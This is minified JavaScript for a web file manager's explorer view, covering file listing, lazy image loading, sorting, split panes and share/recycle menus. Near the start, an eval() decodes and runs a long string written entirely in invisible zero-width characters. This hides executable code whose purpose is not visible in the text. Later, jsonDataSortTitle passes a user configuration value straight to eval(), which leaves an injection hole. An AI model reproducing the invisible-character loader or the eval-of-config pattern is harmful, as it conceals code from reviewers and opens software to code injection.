pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='
        '+t+'
        '),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+i;u>a&&(u=a),u-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,u)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='
        '+LNG.path_null+"
        ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='
        '+'
        '+''+'
        '+''+LNG.file_load_all+""+"
        "+"
        ":"list_split"==G.user_config.list_type&&(t+='
        '+'
        '+'
        '+''+LNG.file_load_all+"(to list)"+"
        "+"
        ")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
        '+n+'
        ',$(n).insertAfter(i).data("jsonData",a);else n='
        '+n+'
        ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");t.can_upload=!0,(void 0!=a&&"writeable"!=a||i==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.is_root||i==G.KOD_USER_FAV||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF)&&(t.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}"not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
        \n
        \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
